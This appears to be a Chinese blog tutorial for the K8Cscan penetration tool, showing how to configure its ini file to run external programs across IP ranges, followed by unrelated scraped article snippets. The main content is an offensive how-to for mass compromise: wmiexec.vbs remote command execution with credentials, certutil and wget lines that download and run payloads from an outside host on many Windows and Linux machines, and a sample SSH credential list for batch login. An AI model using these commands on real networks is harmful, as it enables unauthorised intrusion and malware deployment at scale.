0x000 调用原理

Cscan调用外部程序有两种方式,一是编写DLL,二是配置文件

编写DLL文件对于不懂编程的人来说可能会很难(虽然支持各语言)

由于考虑到很多人不会编程或会编程又急用无法短时间转成DLL

所以特意提供ini做为调用外部程序接口,毕竟每出个EXP就写个批量工具不现实

EXP代码未必是你擅长并喜欢的代码,甚至不提供源码,没关系Cscan照样调用

配置Cscan.ini应该算是目前最容易实现Cscan自定义"插件"功能了

配置文件使用非常简单,只需配置两个参数,一是程序,二是参数

批量文件: ip.txt ip24.txt ip16.txt ip8.txt 还有 url.txt

0x001 参数说明

主程序

主程序可直接运行,直接运行会加载IP或URL文件,不存在则默认扫描当前机器所处的多个C段。

cscan (直接运行)
cscan 192.168.1.108 (单个IP)
cscan 192.168.1.108/24 (C段)
cscan 192.168.1.108/16 (B段)
cscan 192.168.1.108/8 (A段)

Cscan.ini文件

exe即程序名(系统程序可省路径,非系统程序需完整路径)

arg即参数,比方说执行net user命令,程序是net.exe参数是user

在win系统里本质上执行的是c:/windows/system32/net.exe user

VBS脚本:执行"cscript exp.vbs",本质上执行的是c:/windows/system32/cscript.exe  exp.vbs

PY脚本:  执行"python exp.py",本质上执行的是PY安装路径/python.exe  exp.py

以上不需要全路径的原因是设置了环境变量,系统自动识别了

那么Cscan要调用外部程序,就得先设置Cscan的“环境变量”

好比你点外卖,你不填写地址,让骑手去哪给你送货?

给程序一个眼神它是不会自己去体会的,连人都做不到。

下面以调用内网横向渗透脚本Wmiexec.vbs为例(脚本和cscan主程序放在同一目录)

wmiexec.vbs内网远程CMD例子: cscript wmiexec.vbs /cmd IP 用户名 密码 whoami

IP或URL文件

ip数字.txt对应着所扫列表,意味着不仅仅是批量IP列表,同时可扫描多个C段跨网段或B段等

ip.txt文件可填写任意内容不仅限于IP,url.txt仅限URL地址,批量扫描网站列表时使用。

0x002 配置Cscan.ini

新建Cscan.ini文件,内容如下

[Cscan]
exe=cscript.exe
arg=wmiexec.vbs /cmd $ip$ user pass "echo FuckOK"

ps:调用其它VBS脚本同理(有些机器默认无Whoami命令,所以执行echo返回特定内容最佳)

0x003 设置扫描范围

新建C段文件ip24.txt,内容如下(扫描以下两个C段机器)

192.168.1.8
10.1.10.5

0x004 批量验证或执行命令
运行Cscan > pwd.txt    (Cscan主程序要选用系统对应.net版本)

如图(由于批量执行的是whoami,所以成功的将会返回whoami的结果)

0x005 Windows批量上控

有人肯定要说,我不想给所有机器上控怎么办?

特定机器列表使用ip.txt,B段ip16.txt、A段ip8.txt

新建ip.txt,同时删除ip24.txt或改名(调用优先级问题)

ip.txt内容如下(仅扫描以下4个IP)

192.168.1.8
192.168.1.100
10.1.11.5
172.3.4.6

Cscan.ini内容

[Cscan]
exe=cscript.exe
arg=wmiexec.vbs /cmd $ip$ user pass "certutil.exe -urlcache -split -f http://k8gege.github.io/poc.exe&&poc.exe"

Certutil仅是其中一种下载方法,几年前就有人整理至少17种方法,就不列举了

(其它下载者命令百度、Google,关键字比也以前多什么下载执行Payload等)

现在也有很多人把人家一篇精华文章换个名词写成十几篇教程给萌新看

好像很吊的样子,但是在大量教程文章的情况下依旧有人不懂举一反三

按理说我写Cscan批量调用其它EXP例子时,就有人懂得如何批量上控

但事实并非如此,甚至有些人已接触一段时间,搞得像萌新一样还不懂

由于在统计里发现有人搜索"Cscan如何使用",加上怕有人问浪费时间

为了照顾萌新以及一些不同举一反三的“老人”,特意写此文章教程

0x006 Linux批量上控

通过调用sshcmd.exe可实现批量验证SSH密码或者批量上控

ip.txt内容  格式: IP 端口 用户 帐密

192.168.1.8 22 root k8123456
192.168.1.100 444 root admin123
10.1.11.5 22 root p@walod
172.3.4.6 22 root test

PS:ip.txt不仅限于IP,可灵活配置,这点我不写教程真的没几个人知道,因为早期版本我加了正则非IP是无法传参的

Windows批量同理,这样就可以批量验证不懂端口不同帐密了,详见:https://www.cnblogs.com/k8gege/p/10995625.html

Cscan.ini内容

[Cscan]
exe=sshcmd.exe
arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"

 0x007 执行多条命令

执行多条CMD命令,前提是调用cmd.exe,远控shell默认指向cmd.exe,

所以当执行任意CMD命令都支持管道符号重定向符号等特殊符号。

例子:通过CMD调用PING命令以及Find命令检测存活主机

对应Cscan.in

[Cscan]
exe=cmd.exe
arg=/c ping -n 1 $ip | find "ms"

exe参数写成ping.exe的话,后面的|符号将失效,因为你是基于ping.exe上执行管道命令,ping命令不支持所以当然会报错。

并非是Cscan不支持管道符号,exe写成cmd.exe就和你在系统打开cmd执行命令一模一样,系统执行正常Cscan就正常。

有些人可能会问默认写成cmd不就只需要配置一个参数,更简便?

可以设想一下,假设写死cmd,每次执行一次ping命令或多条命令,就得打开一个CMD进程

很多人可能会说人家远控终Shell都这么写,但是你有想过远控cmd和直接系统上执行CMD差不多

你手工执行几个ping命令,先调用cmd再打开ping没问题,但是批量呢,调用一次ping命令,

还要先经过一次cmd.exe,你觉得这样效率会高吗,可能有人会说不就0.几秒不到。

实际上你有没想过,系统打开几十个CMD进程和几十个PING进程还有几十个FIND进程

多几个进程内存占用是多少?占用卡了就会阻塞,崩或者无法继续,可能超时很久才到下一个命令。

最简单的例子,使用BAT文件用FOR命令来执行几百个操作,你可能遇到过cmd卡死

CPU直接100%的情况,导致被调用的EXP无法正常工作,因为Bat不支持多线程。

同时执行几个几乎不影响,不等于执行一堆不受影响,虽然Cscan.ini也是多线程调用,

但毕竟是调用进程,调用进程受到很多因素影响,最直接的就是系统内存,被调用程序

未对程序进行优化处理或其它原因,可能会导致批量调用后出现类似CPU卡死的情况。

调用进程的多线程方式是最LOW的,可能会导致各种各样的问题,所以建义写成DLL。

0x008 保存结果

1.可以在调用命令里重定向输出,注意目录需要有写权限,别写入system32目录哦

arg=/c ping -n 1 $ip$ | find "ms" >> C:\Users\k8gege\Desktop\Cscan\1.txt

2.可以直接Cscan > scan.txt 保存结果,当然这样扫的时候cmd里看不到结果

实战的时候推荐第2条,因为你要是扫大量IP时,菜刀或者远控shell超时不一定有结果

重定向输出等其扫完,下载回本地看即可。

0x009 下载

https://github.com/k8gege/K8CScan

https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

https://github.com/k8gege/sshshell

[教程]K8Cscan调用外部程序(Win/Linux批量上控/执行多条命令/保存结果)的更多相关文章

  1. Linux操作系统上要慎用的6个命令及防范方法

    Linux操作系统上要慎用的6个命令及防范方法 基于Linux平台工作的童鞋都知道Linux命令行使用起来非常高效和快捷,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候(别笑,别以为自己真的 ...

  2. linux服务器上nginx日志访问量统计命令

    linux服务器上nginx日志访问量统计命令 日志文件所在地方:/var/log/nginx/access_iqueendress.com.log/var/log/nginx/access_m.iq ...

  3. linux系统执行多条命令,linux系统执行复合命令

    在操作linux系统的时候,你是否遇到过打开一个目录,然后查看一个文件里面的内容. 我们可以使用命令   cd + 目录     cat + 文件名,我们需要输入两次,点击两次 enter   有没有 ...

  4. Linux下间隔多少秒 (即以秒为单位) 去执行某条命令或某个shell脚本的操作方法【转】

    在日常运维工作中, 经常会碰到以秒为单位去定时执行某些命令或监控脚本的需求. 说到定时任务就要用到crontab,通常来说,crontab的最小单位是分钟级别,要想实现秒级别的定时任务,就要进行特殊设 ...

  5. Python——cmd调用(os.system阻塞处理)(多条命令执行)

    os.system(返回值为0,1,2)方法 0:成功 1:失败 2:错误 os.system默认阻塞当前程序执行,在cmd命令前加入start可不阻塞当前程序执行. 例如: import os os ...

  6. 使用WebUploader实现文件批量上传,进度条显示功能

    知识点:利用WebUploader,实现文件批量上传,并且实时显示文件的上传进度 参考官方文档:http://fex.baidu.com/webuploader/ (1)引入三个资源 JS,CSS,S ...

  7. Jquery.Uploadify实现批量上传显示进度条 取消 上传后缩略图显示 可删除

    <%@ Page Language="C#" AutoEventWireup="true" CodeFile="UpLoad.aspx.cs&q ...

  8. 【网站建设】Linux上安装MySQL - 12条命令搞定MySql

    从零开始安装mysql数据库 : 按照该顺序执行 :  a. 查看是否安装有mysql:yum list installed mysql*, 如果有先卸载掉, 然后在进行安装; b. 安装mysql客 ...

  9. Linux上安装MySQL - 12条命令搞定MySql

    从零开始安装mysql数据库 : 按照该顺序执行 :  a. 查看是否安装有mysql:yum list installed mysql*, 如果有先卸载掉, 然后在进行安装; b. 安装mysql客 ...

随机推荐

  1. python 多进程并发demo

    outline 下午需要简单处理一份数据,就直接随手写脚本处理了,但发现效率太低,速度太慢,就改成多进程了: 程序涉及计算.文件读写,鉴于计算内容挺多的,就用多进程了(计算密集). 代码 import ...

  2. python2.7写的图形密码生成器

    #coding:utf8import random,wxdef password(event): a = [chr(i) for i in range(97,123)] b = [chr(i) for ...

  3. ES6 Set和Map集合(六)

    一.Set集合创建Set实例:let set = new Set();1.特性:a.Set本身是一个构造函数,用来生成Set数据结构[类比数组结构]b.Set函数可以接受具有Iterable接口的数据 ...

  4. 【代码笔记】Web-CSS-CSS组合选择符

    一,效果图. 二,代码. <!DOCTYPE html> <html> <head> <meta charset="utf-8"> ...

  5. Get SAP Code Page by External Name

    CL_ABAP_CODEPAGE - SAP_CODEPAGE 取SAP对应code page内码:

  6. Spark MLlib基本算法【相关性分析、卡方检验、总结器】

    一.相关性分析 1.简介 计算两个系列数据之间的相关性是统计中的常见操作.在spark.ml中提供了很多算法用来计算两两的相关性.目前支持的相关性算法是Pearson和Spearman.Correla ...

  7. 人生物语——哲海拾贝

         如今的这个社会,物欲横流.纸醉金迷.浮躁不安是这个时代的主旋律,在这样一个浮华年代的大染缸里,每个人内心都有那么一颗浮躁不安分的种子,或许它才开始发芽,或许它已经占据了你的心灵,人生当中追求 ...

  8. c++指针全攻略

    1.指针概念理解 int*  p      定义一个指针(推荐使用这种写法int* ,理解上有好处)        p 指针变量:        *   间接运算符(访问符),代表访问该地址所指向的空 ...

  9. 安装centos6.10时,安装完成重启报错error 15,file not found

    今天在一台老式联想服务器上安装centos6.10操作系统,安装完成,重启时,出现报错 error 15, file not found...... 在百度上搜索到进grub编辑,可还是无法解决问题, ...

  10. rz上传文件乱码

    问题 使用rz上传文件时,出现乱码,上传失败. 原因 文件中包含控制字符 解决方法 使用 rz -be -b:–binary  用binary的方式上传下载,不解释字符为ascii: -e:–esca ...